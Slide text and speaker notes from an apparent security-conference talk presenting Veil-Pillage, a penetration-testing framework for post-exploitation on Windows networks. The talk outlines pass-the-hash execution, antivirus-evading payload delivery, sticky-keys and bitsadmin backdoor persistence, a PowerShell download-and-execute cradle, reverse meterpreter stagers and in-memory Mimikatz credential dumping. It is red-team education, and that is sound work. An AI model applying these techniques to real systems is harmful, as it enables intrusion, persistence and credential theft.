  • 15. Veil-Pillage Primitives ▪ pth-wmis : no service created ▪ pth-winexe : runs as system, binary dropped ▪ Impacket-smbexec : service created, but no binaries dropped ▪ Impacket: smb servers and clients and more ▪ Everything abstracted out to common library methods
  • 16. Veil-Pillage Primitives: • pth-wmis • pth-winexe • Impacket-smbexec • Impacket
  • 18. Veil-Catapult Integration ▪ All ofVeil-Catapult’s functionality has been modularly integrated intoVeil- Pillage: – payload_delivery/exe_delivery – payload_delivery/powershell_injector – payload_delivery/python_injector – persistence/registry/sticky_keys ▪ Veil-Catapult will now be obsoleted :( ▪ Blog post on transitioning up soon
  • 19. exe_delivery ▪ Catapult functionality ported to Pillage ▪ Executables can be specified, or generated with seemlessVeil-Evasion integration ▪ .EXEs are then uploaded/triggered, or hosted/triggered with a UNC path – This gets some otherwise disk-detectable .EXEs right by someAVs
  • 20. python_injector ▪ Uploads a minimal Python .zip installation and 7zip binary ▪ Python environment unzipped, shellcode invoked using “-c …” ▪ The only files that touch disk are trusted Python libraries and a Python interpreter
  • 21. Veil-Pillage Primitives: Veil- Catapult: • pth-wmis • pth-winexe • Impacket-smbexec • Impacket • exe_delivery • python_injector • powershell_injector
  • 23. enumeration/* ▪ host/credential_validation – checks what creds work on what systems ▪ domain/user_hunter – finds whereWindows domain users are logged in on the network ▪ host/enum_host – performs several standard enumeration actions
  • 24. management/* ▪ check_uac/disable_uac/enable_uac – full user account control management ▪ enable_rdp/disable_rdp – enables RDP and the necessary firewall rules ▪ force_[logoff/reboot/shutdown] – needed to trigger some particular post- exploitation effects
  • 25. persistence/* ▪ bitsadmin – adds a nice background job to download/execute an .exe backdoor ▪ registry/sticky_keys* – Sets the stickykeys cmd.exe trick, or uploads an executable to trigger ▪ registry/unc_dll – appends ATTACKER_IP; to %PATH%, allowing you to monitor for .dll hijacking opportunities
  • 26. powersploit/* ▪ Several PowerSploit modules are included in Pillage ▪ A web server is stood up in the background – the ‘IEX (New-Object Net.WebClient).DownloadString(...)’ cradle is transparently triggered ▪ Makes it easy to run PowerSploit across multiple machines
  • 27. Veil-Pillage Primitives: • pth-wmis • pth-winexe • Impacket-smbexec • Impacket Veil- Catapult: • exe_delivery • python_injector • powershell_injector Modules: • PowerSploit integration • enumeration/* • persistence/* • management/* • PowerShell detection • hashdump/Mimikatz in memory • Host/execute binaries
  • 29. powershell_stager ▪ Last month, theVeil team released custom-written, ‘pure’ powershell meterpreter stagers : – reverse_tcp/reverse_http/reverse_https ▪ These don’t utilize any shellcode, and work great with the passing-the-hash toolkit
  • 30. Output/Cleanup ▪ Logs logs logs ▪ Also, we want to leave boxes how we found them – Clients are so picky :) ▪ Why not do all of this in a nice and systematic way
  • 31. Random features ▪ State preservation – On exit/rage quit, all options preserved ▪ MSF database interaction – pull in existing hosts and credential sets ▪ Tab-completion, error-checking, complete command line options, etc.
  • 32. External Integration ▪ Veil-Pillage contains complete command line flags for whatever you can think of ▪ Makes it easy to script-up and integrate Veil-Pillage into your own code ▪ see ./Veil-Pillage.py -h
  • 34. Veil-Pillage Primitives: • pth-wmis • pth-winexe • Impacket-smbexec • Impacket Veil- Catapult: • exe_delivery • python_injector • powershell_injector Features: Modules: • Powershell Stagers • Logging/cleanup • MSF DB Integration • Modular structure • External integration • PowerSploit integration • enumeration/* • persistence/* • management/* • PowerShell detection • hashdump/Mimikatz in memory • Host/execute binaries
  • 36. Hashdumping ▪ There are a diverse number of ways to dump hashes on a system ▪ Traditional: – gsecdump, credump, etc. – Registry backups w/ reg.exe – Meterpreter (hashdump/wdigest) ▪ New Hotness: – Powerdump.ps1 – WCE/Mimikatz binaries – PowerSploit/Exfiltration/Invoke-Mimikatz.ps1
  • 37. Hashdumping ▪ Different approaches work in different situations ▪ Dependent on architecture, Powershell installation, AV-installation, etc. ▪ Some involve dropping well-known, close-sourced tools to disk – sometimes this is needed, but we want to stay off disk as much as possible
  • 39. In-Memory Mimikatz ▪ PowerSploit/Exfiltration/Invoke- Mimikatz.ps1 ▪ Utilizes Joe "clymb3r" Bialek’s prior work with Invoke-ReflectivePEInjection to inject an architecture-appropriate Mimikatz .dll ▪ Harnesses the power of Mimikatz without touching disk!
  • 40. Pillage Style ▪ Let’s aggregate some of the best techniques and build some logic in: if (Powershell working) { Powerdump/PowerSploit } else { determine_arch { host/execute appropriate binaries } } ▪ Expose these techniques to the user for situation-dependent decisions
  • 41. Demos
  • 42. KB 2871997 OMG US PENTESTERS ARE OUT OF A JOB!!
  • 43. KB 2871997 ▪ The “pass-the-hash” killing patch, aka the “Mimikatz KB” :) ▪ Microsoft backport ofWindows 8.1 protections that prevents “...network logon and remote interactive logon to domain-joined machine using local accounts” ▪ Sounds ominous...
  • 45. KB 2871997 tl;dr ▪ The rid-500 Administrator account (if it’s enabled) and domain accounts in the Administrators localgroup can still PTH – This account is often still enabled in many enterprise environments ▪ Powershell Remoting still works fine ▪ Windows XP/2003 obviously unaffected ▪ Raises the bar, but PTH isn’t going away anytime soon
  • 46. Local Admin Enumeration ▪ With a local/unprivileged domain account, you can use PowerShell (or Nmap) to: – find what the local rid-500 is renamed to and whether it’s enabled – enumerate what domain accounts have local admin privileges on a machine ▪ Powershell functions have been integrated intoVeil-Powerview ▪ More information: http://harmj0y.net
  • 47. Module Releases ▪ Just likeVeil-Evasion, lots of module ideas – more if people want to contribute :) ▪ Planned releases on the 1st of the month ▪ Check https://www.veil-framework.com for updates
  • 48. Module Development ▪ Implement whatever post-exploitation fun you can think of ▪ Triggering methods, file downloads, etc. are all available as library methods ▪ Template included in the tree and blog post up soon on developing your own modules
  • 49. Recap ▪ A flexible framework for post- exploitation of target machines ▪ Three separate ways of triggering ▪ New modules are easy to implement with the common library ▪ Automation, full logging capabilities, cleanup scripts, big UI focus, active development
  • 50. Shameless Sidebar ▪ Want to research cool stuff like this? ▪ Want to work with 9 x OSCPs and 4 x OSCEs? ▪ Want to do some sweet red teaming? ▪ Hit me up to join the AdaptiveThreat Division
  • 51. Questions? ▪ Contact me: – @harmj0y – harmj0y@veil-framework.com – harmj0y in #veil on Freenode ▪ Read more: – https://www.veil-framework.com ▪ Get theVeil-Framework: – https://github.com/Veil-Framework/

Editor's Notes

  1. “This is the tool I’ve always wanted for internal pentests.”
  2. “Bridging the gap” Logo-> push stuff forward and be a bit more stealthy
  3. screaming for a generalized post-exploitation structure
  4. More granular way of breaking down these actions DEMONSTRATE impact
  5. Default to wmis
  6. ~12 min
  7. Talk about the passing the hash toolkit Mention abstraction = covered later in dev
  8. These are the primitives the framework is built on
  9. Comments about veil-catapult functionality, don’t gloss over (don’t want it to be written off) want them to think “catapult is cool, pillage is cooler”
  10. -also seemless integration with Veil-Evasion for shellcode generation -Gets right by reputation filters and antivirus!
  11. ~12 min
  12. Hypothetical story for using user hunter
  13. sticky keys for cmd.exe, or custom triggered .exe Mention will demo dll hijacking
  14. -Can also trigger arbitrary script URLs -module to kill PowerSploit scripts included as well -lowers the barrier to entry for PowerSploit utilization
  15. advantages- no web download/iex, etc. -x64/x86 compatibility for triggering Bubble for 32/64 bit compatibility
  16. Go over individual status/cleanup outputs And global files
  17. Usability is paramount here
  18. Make transparent
  19. credentials/autograb automates this Point- account for different environments/situations/etc.
  20. Start at 30 minutes Demo 1: show interface, pull host in from metasploit database use autograb to dump creds from the 2 working machines Demo 2: use PowerSploit/codeexecution/invoke-shellcodemsil, spawn Meterpreter show cleanup script killing sessions three points- powersploit weaponization, evasion integration, cleanup Demo 3: Sticky keys exe
  21. http://www.infosecisland.com/blogview/23787-Windows-Update-to-Fix-Pass-the-Hash-Vulnerability-Not.html
  22. rid-500 -> even if it’s renamed
  23. rid-500 -> even if it’s renamed Nmap scripts-> script=smb-enum-groups –script=smb-enum-users
  24. This isn’t some random script 30k+ lines and over 150 commits, months of development
  25. We have a great team